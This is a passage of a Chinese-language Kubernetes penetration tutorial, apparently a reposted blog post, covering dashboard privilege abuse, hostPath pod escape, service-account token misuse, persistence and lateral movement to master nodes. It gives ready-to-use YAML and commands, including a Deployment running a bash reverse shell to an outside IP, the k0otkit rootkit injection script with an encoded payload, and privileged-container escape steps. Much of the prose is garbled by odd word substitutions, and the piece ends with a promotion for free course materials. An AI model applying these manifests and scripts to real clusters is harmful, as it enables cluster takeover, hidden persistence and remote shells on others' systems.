但是如果在配置参数中添加了如下参数,那么在登岸的过程中就可以进行跳过 Token 输入环节
点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特别的权限,是默认没有办法达到控制集群恣意功能的水平的。
给Kubernetes-dashboard绑定cluster-admin:
- apiVersion: rbac.authorization.k8s.io/v1
- kind: ClusterRoleBinding
- metadata:
- name: dashboard-1
- subjects:
- - kind: ServiceAccount
- name: k8s-dashboard-kubernetes-dashboard
- namespace: kube-system
- roleRef:
- kind: ClusterRole
- name: cluster-admin
- apiGroup: rbac.authorization.k8s.io
复制代码
绑定完成后,再次刷新 dashboard 的界面,就可以看到整个集群的资源情况。
获取访问后直接创建特权容器即可getshell
0x02 执行
目录挂载逃逸
这个技术是综合了执行、持久化、权限提拔的一个攻击方法,为了省事,就放在这里一块说了。
首先,在我们获取了api server控制权后,我们可以创建Pod,并在Pod内部执行命令。如果我们在创建Pod时,将Node节点的根目录挂载到Pod的某个目录下,由于我们能在Pod内部执行命令,所以我们可以修改挂载到Pod下的Node节点根目录中文件的内容,如果我们写入恶意crontab、web shell、ssh公钥,便可以从Pod逃逸到宿主机Node,获取Node控制权。
详细复现如下
先创建一个恶意Pod
- 首先我们创建恶意Pod,可以直接创建Pod,也可以用Deployment创建。
- 既然提到创建Pod,那么就多提一句:直接创建Pod和用Deployment创建Pod的区别是什么?
- Deployment可以更方便的设置Pod的数量,方便Pod水平扩展。
- Deployment拥有更加灵活强大的升级、回滚功能,并且支持滚动更新。
- 使用Deployment升级Pod只需要定义Pod的最终状态,k8s会为你执行必要的操作。
- 如果创建一个小玩意,那么直接创建Pod就行了,没必要用deployment。
复制代码- 用Pod创建
- apiVersion:v1
- kind:Pod
- metadate:
- name:evilpod
- spec:
- containers:
- - image:nginx
- name:container
- volumeMounts:
- - mountPath:/mnt
- name:test-volume
- volumes:
- - name: test-volume
- hostPath:
- path:/
复制代码- 用deployment创建
- apiVersion: apps/v1
- kind:Deployment
- metadata:
- name:nginx-deployment
- labels:
- apps:nginx-test
- spec:
- replicas:1
- selector:
- matchLabels:
- app:nginx
- template:
- metadata:
- labels:
- app:nginx
- spec:
- containers:
- - image:nginx
- name:container
- volumeMounts:
- - mountPath : /mnt
- name: test-volume
- volumes:
- - name: test-volume
- hostPath:
- path: /
复制代码 将以上文本写入到一个yaml文件中,然后执行
- kubectl apply -f xxxxx.yaml
- 如果是api server未授权打进去的,可能要通过-s参数设置一下api server的ip和地址:
- kubectl -s http://master_ip:8080 command
- 这里再多嘴一句 kubectl apply 和 kubectl create 这两个命令的区别:
- 两个命令都可以用于创建pod,apply更倾向于”维护资源“,可以用于更新已有Pod;而create更倾向于”直接创建“,不管三七二十一给我创建就完事了简而言之,当一个资源已经存在时,用create会报错,而apply不会报错
复制代码 恶意容器就创建好了
创建好了后使用命令 kubectl get pods 获取恶意pod的名字
然后使用命令 kubectl exec -it evilpodname /bin/bash 进入pod内部shell,然后向挂载到Pod内部的Node根目录中写入恶意crontab/ssh公钥/webshell即可拿到node的shell。
大致流程一张图表现如下
使用Service Account连接API Server执行指令
k8s有两种账户:用户账户和服务账户,用户账户被用于人与集群交互(如管理员管理集群),服务账户用于Pod与集群交互(如Pod调用api server提供的一些API进行一些活动)
如果我们入侵了一台有着高权限服务账户的Pod,我们就可以用它对应的服务账户身份调用api server向集群下达命令。
pod的serviceaccount信息一般存放于/var/run/secrets/kubernetes.io/serviceaccount/目录下
但是默认的user或者service account并不具备任何权限
这是默认情况下,一个pod使用自身service account(默认为当前命名空间的default账户)去哀求api server返回的结果,可以发现是没有权限的:
- $ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
- $ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
- $ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
- $ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN"
- "https://192.168.111.20:6443/version/"
- "kind": "Status",
- "apiVersion": "v1",
- "metadata": {},
- "status": "Failure",
- "message": "version is forbidden: User
- "system:serviceaccount:default:default" cannot list resource "version" in API group "" at the cluster scope",
- "reason": "Forbidden",
- "details": {
- "kind": "version"
- },
- "code": 403
复制代码 那么我如今创建一个高权限service account 并使其与一个Pod相干联,来复现一下这个攻击手法
首先创建一个高权限service account
- kubectl create serviceaccount niubi #创建service account:niubikubectl create clusterrolebinding cluster-admin-niubi --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理员组,相当于给了它高权限
复制代码 然后将service account与pod相干联
- 在创建Pod的yaml文件中的spec项中输入 serviceAccountName: niubi
复制代码
再试一下,发现可以调用api server了
0x03 持久化
这里的持久化是指如安在Pod中持久化、如安在Node中持久化、如安在集群中持久化。
如安在Node中持久化,在上一小节中已经提到过一些:通过写入crontab,ssh公钥,webshell实现,但个人觉得这几个手段与其说是持久化,不如说是权限提拔更符合实际一点,由于这几个手段在实际渗出中都是为了从Pod逃逸出来获取Node权限。
同时,在Pod,Node,Master上做持久化,有大部分方法本质上是“如安在linux机器上做持久化”,而“如安在linux机器上做持久化”方法就太多了,这里就只着重于报告在“云环境”里独有的持久化方法。
在私有镜像库中植入后门(Pod持久化)
如果接管了对方的私有镜像库,我们便可以直接在其对象Dockerfile中塞入恶意指令(反弹shell等)
或者编辑镜像的文件层代码,将镜像中原始的可执行文件或链接库文件更换为精心构造的后门文件之后再次打包成新的镜像。
修改核心组件访问权限(集群持久化)
包括且不限于 更改配置袒露apiserver 8080端口、袒露docker.sock、袒露未授权etcd、袒露未授权kubelet等修改集群配置文件达到持久化的方法。
shadow api server(集群持久化/cdk工具使用)
摆设一个额外的未授权且不纪录日志的api server以供我们进行持久化。
我们可以用github上专门用于k8s渗出的工具cdk(这个工具很屌)来做到这一点
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
Exploit: k8s shadow apiserver · cdk-team/CDK Wiki · GitHub
Deployment
创建容器时,通过启用 DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢复,攻击者经常使用这个特性进行持久化,涉及的概念有:
● ReplicationController(RC)
ReplicationController 确保在任何时间都有特定数量的 Pod 副本处于运行状态。
● Replication Set(RS)
Replication Set简称RS,官方已经保举我们使用 RS 和 Deployment 来取代 RC 了,实际上 RS 和 RC 的功能根本一致,目前唯一的一个区别就是RC 只支持基于等式的 selector。
● Deployment
主要职责和 RC 一样,的都是包管 Pod 的数量和健康,二者大部分功能都是完全一致的,可以当作是一个升级版的 RC 控制器。官方组件 kube-dns、kube-proxy 也都是使用的Deployment来管理。
这里使用Deployment来摆设后门
- #dep.yaml
- apiVersion: apps/v1
- kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态
- metadata:
- name: nginx-deploy
- labels:
- k8s-app: nginx-demo
- spec:
- replicas: 3 #指定Pod副本数量
- selector:
- matchLabels:
- app: nginx
- template:
- metadata:
- labels:
- app: nginx
- spec:
- hostNetwork: true
- hostPID: true
- containers:
- - name: nginx
- image: nginx:1.7.9
- imagePullPolicy: IfNotPresent
- command: ["bash"] #反弹Shell
- args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
- securityContext:
- privileged: true #特权模式
- volumeMounts:
- - mountPath: /host
- name: host-root
- volumes:
- - name: host-root
- hostPath:
- path: /
- type: Directory
- #创建
- kubectl create -f dep.yaml
复制代码 Rootkit
这里介绍一个 k8s 的 rootkit,k0otkit 是一种通用的后渗出技术,可用于对 Kubernetes 集群的渗出。使用 k0otkit,您可以以快速、潜伏和连续的方式(反向 shell)操作目标 Kubernetes 集群中的所有节点。
K0otkit使用到的技术:
●DaemonSet和Secret资源(快速持续反弹、资源分离)
● kube-proxy镜像(就地取材)
● 动态容器注入(高潜伏性)
● Meterpreter(流量加密)
● 无文件攻击(高潜伏性)
- #生成k0otkit
- ./pre_exp.sh
- #监听
- ./handle_multi_reverse_shell.sh
复制代码 k0otkit.sh的内容复制到master执行:
- volume_name=cache
- mount_path=/var/kube-proxy-cache
- ctr_name=kube-proxy-cache
- binary_file=/usr/local/bin/kube-proxy-cache
- payload_name=cache
- secret_name=proxy-cache
- secret_data_name=content
- ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
- volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
- image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
- # create payload secret
- cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
- apiVersion: v1
- kind: Secret
- metadata:
- name: $secret_name
- namespace: kube-system
- type: Opaque
- data:
- $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
- # inject malicious container into kube-proxy pod
- kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
- | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
- | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: ["sh"]\n args: ["-c", "echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
- | kubectl --kubeconfig /root/.kube/config replace -f -
复制代码 cronjob持久化
CronJob用于执行周期性的动作,例如备份、报告生成等,攻击者可以使用此功能持久化。
- apiVersion: batch/v1
- kind: CronJob #使用CronJob对象
- metadata:
- name: hello
- spec:
- schedule: "*/1 * * * *" #每分钟执行一次
- jobTemplate:
- spec:
- template:
- spec:
- containers:
- - name: hello
- image: busybox
- imagePullPolicy: IfNotPresent
- command:
- - /bin/sh
- - -c
- - #反弹Shell或者木马
- restartPolicy: OnFailure
复制代码 0x04 权限提拔
指从pod拿到Node的shell,或者拿到集群控制权。
上面的小节提到过一些,比如kubectl未授权、docker.sock、挂载目录、高权限Service account等方法。
除此之外还有Docker、k8s的一些CVE
Docker逃逸如CVE-2019-5736,CVE-2019-14271**,CVE-2020-15257**、CVE-2022-0811
k8s提权到接管集群的如CVE-2018-1002105,CVE-2020-8558
docker逃逸可以看之前总结的容器逃逸相干文章,这里说一下特权容器逃逸
特权容器逃逸
当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备。
而K8s配置文件启用了privileged: true:
- spec:
- containers:
- - name: ubuntu
- image: ubuntu:latest
- securityContext:
- privileged: true
复制代码 实战案例:
通过漏洞获取WebShell,查看根目录存在.dockerenv,可通过fdisk -l查看磁盘目录,进行挂载目录逃逸:
- #Webshell下操作
- fdisk -l
- mkdir /tmp/test
- mount /dev/sda3 /tmp/test
- chroot /tmp/test bash
复制代码 0x05 探测
● 内网扫描
● K8s常用端口探测
● 集群内部网络
是否在容器环境中
- 根目录下/.dockerenv 文件存在即docker环境
- /proc/1/cgroup 内若包含docker或kube字符串则是在docker环境或k8s pod 之中
- 查看端口开放情况(netstat -anp),如果开放了一些特别端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判定为是在k8s环境中的一台Node或者master,这个方法亦可用于端口扫描探测目标主机是否为k8s集群中的机器
- 查看当前网段,k8s中 Flannel网络插件默认使用10.244.0.0/16网络,Calico默认使用192.168.0.0/16网络,如果出如今这些网段中(特别是10.244网段)那么可以初步判断为集群中的一个pod。pod里面命令很少,可以通过hostname -I(大写i)来查看ip地址
集群内网扫描
Kubernetes的网络中存在4种主要类型的通讯
● 同一Pod内的容器间通讯
● 各Pod相互间通讯
● Pod与Service间的通讯
● 集群外部的流量与Service间的通讯。
所以和通例内网渗出无区别,nmap、masscan等扫描
K8s常用端口探测
集群内部网络
● Flannel网络插件默认使用10.244.0.0/16网络
●Calico默认使用192.168.0.0/16网络
0x06 横向移动
目的
通常来说,拿到kubeconfig或者能访问apiserver的ServiceAccount token,就代表着控下了整个集群。
但往往在红队攻击中,我们经常要拿到某一类特定紧张系统的服务器权限来得分。前面我们已经可以在节点上通过创建pod来逃逸,从而获得节点对应主机的权限,那么我们是否能控制pod在指定节点上生成,逃逸某个指定的Node或Master节点。
亲和性与反亲和性
一般来说我们摆设的Pod是通过集群的主动调理战略来选择节点的,但是由于一些实际业务的需求可能必要控制某些pod调理到特定的节点。就必要用到 Kubernetes 里面的一个概念:亲和性和反亲和性。
亲和性又分成节点亲和性( nodeAffinity )和 Pod 亲和性( podAffinity )。
- 节点亲和性普通些描述就是用来控制 Pod 要摆设在哪些节点上,以及不能摆设在哪些节点上的
- pod亲和性和反亲和性表现pod摆设到或不摆设到满足某些label的pod所在的node上
节点亲和性( nodeAffinity )
节点亲和性主要是用来控制 pod 要摆设在哪些主机上,以及不能摆设在哪些主机上的,演示一下:
查看node的label命令
- kubectl get nodes --show-labels
复制代码 给节点打上label标签
- kubectl label nodes k8s-node01 com=justtest
- node/k8s-node01 labeled
复制代码 当node 被打上了相干标签后,在调理的时间就可以使用这些标签了,只必要在 Pod 的spec字段中添加 nodeSelector 字段
- apiVersion: v1
- kind: Pod
- metadata:
- name: node-scheduler
- spec:
- nodeSelector:
- com: justtest
复制代码 Pod 亲和性( podAffinity )
pod 亲和性主要处置惩罚的是 pod 与 pod 之间的关系,比如一个 pod 在一个节点上了,那么另一个也得在这个节点,或者你这个 pod 在节点上了,那么我就不想和你待在同一个节点上。
污点与容忍度
节点亲和性是 Pod的一种属性,它使 Pod 被吸引到一类特定的节点。 污点(Taint)则相反——它使节点可以或许排斥一类特定的 Pod。
污点标记选项:
- NoSchedule,表现pod 不会被调理到标记为 taints 的节点
- PreferNoSchedule,NoSchedule 的软战略版本,表现只管不调理到污点节点上去
- NoExecute :该选项意味着一旦 Taint 生效,如该节点内正在运行的pod 没有对应 Tolerate 设置,会直接被逐出
我们使用kubeadm搭建的集群默认就给 master 节点(主节点)添加了一个污点标记,所以我们看到我们平时的 pod 都没有被调理到master 上去。除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod,例如kube-system
给指定节点标记污点 taint :
- kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule
复制代码
上面将 k8s-node01 节点标记为了污点,影响战略是 NoSchedule,只会影响新的 pod 调理。
由于 node01节点被标记为了污点节点,所以我们这里要想 pod 可以或许调理到 node01节点去,就必要增长容忍的声明
使用污点和容忍度可以或许使Pod灵活的避开某些节点或者将某些Pod从节点上驱逐。
详细概念可以参考官网文档:污点和容忍度 | Kubernetes
实现master节点逃逸
比如要想获取到master节点的shell,则可以从这两点考虑
- 去掉“污点”(taints)(生产环境不保举)
- 让pod可以或许容忍(tolerations)该节点上的“污点”。
查看k8s-master的节点情况,确认Master节点的容忍度:
创建带有容忍参数并且挂载宿主机根目录的Pod
- apiVersion: v1
- kind: Pod
- metadata:
- name: myapp2
- spec:
- containers:
- - image: nginx
- name: test-container
- volumeMounts:
- - mountPath: /mnt
- name: test-volume
- tolerations:
- - key: node-role.kubernetes.io/master
- operator: Exists
- effect: NoSchedule
- volumes:
- - name: test-volume
- hostPath:
- path: /
复制代码- kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false
- kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash
复制代码
之后按照上面逃逸node01节点的方式写入ssh公钥即可getshell。
四、后渗出&集群持久化
K8S后渗出横向节点与持久化潜伏方式探索
五、参考
https://www.const27.com/2022/03/13/k8s安全 入门学习/ (k8s底子、攻击矩阵)
https://paper.seebug.org/1803/(k8s攻击矩阵)
K8S云原生环境渗出学习 - 先知社区 (K8S云原生环境渗出学习)
K8S后渗出横向节点与持久化潜伏方式探索 (K8S后渗出横向节点与持久化潜伏方式探索)
K8S API访问控制之RBAC使用
Kubernetes教程 | Kuboard(非常好的中文教程)
学习 Kubernetes 底子知识 | Kubernetes(k8s官方教程,有交互式操作界面,轻微有点不好的是有些地方没有中文)
题外话
黑客&网络安全如何学习
本日只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,详细要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但根本上都残破不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频解说。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗出测试底子、漏洞详解、计算机底子知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能逐一睁开,统共300多集)
因篇幅有限,仅展示部分资料,必要见下图即可前往获取
|